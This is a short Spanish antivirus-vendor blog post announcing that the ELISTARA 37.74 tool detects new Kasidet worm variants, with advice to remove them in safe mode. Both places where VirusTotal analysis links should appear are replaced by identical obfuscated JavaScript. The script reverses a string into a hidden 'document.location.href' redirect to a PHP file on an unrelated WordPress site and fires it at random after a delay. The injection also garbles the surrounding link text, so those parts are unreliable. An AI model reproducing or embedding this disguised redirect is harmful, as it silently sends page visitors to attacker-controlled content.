Nuevas variantes de worm KASIDET

A partir del ELISTARA 37.74 de hoy, pasamos a controlar estas nuevas variantes del worm Kasidet

Para su eliminación conviene arrancar en modo seguro, para que no esté en marcha, pues si está activo no deja acceder al EXE en cuestión y regenera la clave de registro.

El preanalisis de virustotal ofrecen los siguientes informes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/77734214791f9946926ee314015268ba0edc7f72f041df7e9de10c73be3d395b/analysis/1509009671/” target=”_blank” rel=”noopener”>sobre fichero ddraript(36).gxe

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/47c036e2f80c3586f3f4491458e858f782513383d9952f18bf68e3c5b228ac3b/analysis/1509030274/” target=”_blank” rel=”noopener”>Analisis fichero ddraript(38).gxe

Dicha versión del ELISTARA 37.74 que los detecta y elikmina estará disponible en nuestra web a partir del 27-10 prox

saludos

ms, 26.10.2017